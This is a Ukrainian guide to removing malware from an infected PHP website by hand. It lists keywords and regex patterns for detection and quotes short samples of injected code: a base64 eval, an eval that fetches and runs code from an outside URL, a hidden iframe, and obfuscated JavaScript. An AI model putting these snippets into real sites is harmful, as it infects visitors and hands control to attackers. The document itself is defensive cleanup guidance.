Лікування вручну


   Цей метод є набагато складнішим. Для видалення вірусу вручну необхідно мати навички проектування сайтів і знати PHP, HTML, JavaScript. 

   При використанні цього методу, насамперед потрібно виконати п.1,2,3 та 5 із попереднього методу (рекомендацій від Google). Ці пункти у двох методах співпадають. Далі необхідно виконати наступне:

  1. Насамперед необхідно перевірити чи немає у звіті по скануванні, вірусів типу phpshell, webshell, hacktool, Trojan. Це, зазвичай, php файли через які зловмисник отримує повний доступ до файлів сайту. Ці файли необхідно відразу видалити з робочої копії і FTP папки сайту, оскільки вони є найнебезпечнішими.

  2. Далі необхідно очистити від вірусів файли, що залишились. Для цього потрібно відкрити в текстовому редакторі інфікований файл (можна використати notepad++) і знайти та видалити код вірусу.

   Код вірусу можна визначити перевіривши наступні ключові слова такі як:

  • eval;
  • base64;
  • file_get_contents;
  • window;
  • location;
  • iframe;
  • iframe з тегом <script> всередині;
  • fromCharCode;
  • write з вписання іншого javascript або iframe, або вписання meta-редиректу;
  • http://;
  • <script>
  • src;
  • (багато творців шелл-вірусу підписують цим словом своє творіння)

   Також необхідно звернути увагу на функцію eval всередині якої знаходиться строчка букв і цифр, які нібито нічого не означають. Це обфускованим код і зазвичай зловмисники так кодують свій вірус. Обфускація (від лат. Obfuscare - затінювати, затемнювати; і англ. Obfuscate - робити неочевидним, заплутаним, збивати з пантелику) або заплутування коду - приведення вихідного тексту або виконуваного коду програми до виду, який зберігає її функціональність, але погіршує аналіз, розуміння алгоритмів роботи і модифікацію при декомпіляції.

   Також потрібно перевіряти посилання, які зустрічаються у Вашому коді. Якщо у сайті вони не потрібні чи Ви не знаєте куди вони ведуть, то їх треба перевірити. З них може завантажувати вірус чи туди пере посилатиме користувачів. Наведемо фрагменти деяких вірусів:

  • eval(base64_decode('ZXJybXJHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0=')); - всередині  закодований у кодуванні base64 вірус;
  • return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=32&n')); - завантажує вміст, що розташований за посиланням;
  • <iframe src = http://momscashblog.com/wp-content/plugins/alinks/xmlrpc.php style=display:none></iframe> - створює невидиму область на сайті і завантажує туди дані за посиланням;
  • write(unescape('')+String.fromCharCode(60)+''+String.fromCharCode(105)…  - покроково розкодовується вірус і записується в документ;
  • if(empty($q)) {$q = "<script type=\"text/javascript\" language=\"javascript\" >pnfcu=String;...  if(1){nxje=\"17Zq5dZq6cZq65Zq5a...</script>"; echo $q;} – приклак обфускованого коду вірусу (скорочено).

   Вірусів таких типів може бути багато і зловмисники часто змінюють метод їхнього написання, проте відслідкувати їх можна за ключовими словами що зверху.

   Після видалення необхідно перевірити чи сайт працює. Якщо він працює, то все добре, але може бути таке, що він не запуститься чи зміститься розмітка і він виглядатиме не так як раніше, тоді:

  • якщо сайт не запускається, то можна спробувати розкодувати код вірусу (він може бути обфускованим чи закодованим base64) і видалити ті строчки, які не потрібні для роботи сайту, якщо розкодувати не вдається, то файл необхідно замінити чи заново прописувати код;
  • якщо змінився зовнішній вигляд, то швидше за все помилка коду знаходиться у файлах теми (зовнішнього вигляду) сайту. Наприклад у WordPress у файлі wp-content\themes\назва_теми\header.php, Joomla в templates\назва_теми\index.php. Після видалення вірусу, у цих файлах потрібно вручну редагувати код для зміни вигляду сайту. Буває, що деякі частини коду повторюються. Вони можуть бути в різних місцях і не завжди є довершеними, через що і виникає помилка.  Їх необхідно знайти і видалити, інакше тема не працюватиме, а заодно і сам сайт;
  • якщо інфікованих файлів дуже багато, то необхідно проаналізувати вірусний код, якщо він однаковий у всіх випадках, то просто замінюємо його скрізь на пусту строку. Якщо вірус видозмінюється, то пошук потрібно виконувати за допомогою регулярних виразів.
  1. Також необхідно виконати sql дамп бази даних. Після цього відкрийте в текстовому редакторі дамп Вашої бази у відповідному кодуванні, і перевірте вміст бази даних на зазначені вище включення, якщо зустрінете дивні iframe і або посилання, дивний javascript код, акуратно видаліть його.

  2. Після очистки всіх файлів від вірусів необхідно ще перевірити файл .htaccess за допомогою регулярних виразів:

            *(HTTP_USER_AGENT|REFERER).*
            *(Rewrite|Redirect).*http(|s)://

   Це дозволить виявити нестандартні перенаправлення на сторонні сайти, які виконуються лише при виконанні якихось умов, наприклад, будуть перенаправлені лише ті користувачі, які заходитимуть на сайт через пошукові системи. Таке можна непомітити, адже власник буде набирати адресу свого сайту в адресній строчці зразу, без використання пошукових систем.

  1. Знайдений код необхідно проаналізувати і те, що було добавлене не Вами, видалити.

   Після виконання цих операцій, замінити файли зміненими і завантажити їх на FTP та змінити логіни та паролі доступу до БД, FTP і адмінки сайту.

   Позитив цього підходу полягає в тому, що:

  • лікування сайту гарантоване;
  • не втрачаються важливі файли;
  • не потрібно мати в наявності резервної копії.

   Негатив цього підходу полягає в тому, що:

  • необхідні глибокі знання PHP, HTML і JavaScript;
  • час лікування може бути дуже великим через пошук вірусу і відновлення функціоналу сайту.